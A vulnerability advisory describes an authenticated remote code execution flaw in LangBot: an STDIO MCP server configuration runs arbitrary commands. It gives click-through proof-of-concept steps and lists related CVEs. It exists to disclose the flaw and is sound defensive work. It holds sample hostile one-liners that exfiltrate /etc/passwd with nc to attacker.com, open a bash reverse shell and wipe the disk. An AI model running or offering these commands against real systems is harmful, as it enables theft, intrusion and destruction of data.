Résumé
LangBot: Authenticated RCE Via MCP Configuration
Détails de l’avis
Summary
Any authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command.
Details
The repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine.
Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine.
PoC
- Open the LangBot server
- Navigate to Extensions
- Open the "MCP" tab and press "Add"
- Choose an STDIO server configuration
- Add any arbitrary command with arguments
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more.
Impact
This is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Video POC
https://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea
Resources
https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/
Références
Vulnérabilités liées
Tout Supply chain →- MEDIUMGHSA-jf24-8g2h-2wg7
LibreNMS Vulnerable to Remote Code Execution via AboutController
- HIGHCVE-2026-55182
LibreNMS Vulnerable to Remote Code Execution by Signal Alert Transportation module
- CRITICALCVE-2026-54680
Logging operator has Fluentd configuration injection that allows remote code execution
- HIGHGHSA-956x-8gvw-wg5v
GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`
- HIGHGHSA-7q9c-hpx7-9cwm
TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop
- CRITICALCVE-2026-73842
OpenChoreo: cluster-gateway internal proxy performs no caller authentication and is not read-only — data-plane Secret disclosure and arbitrary Kubernetes mutation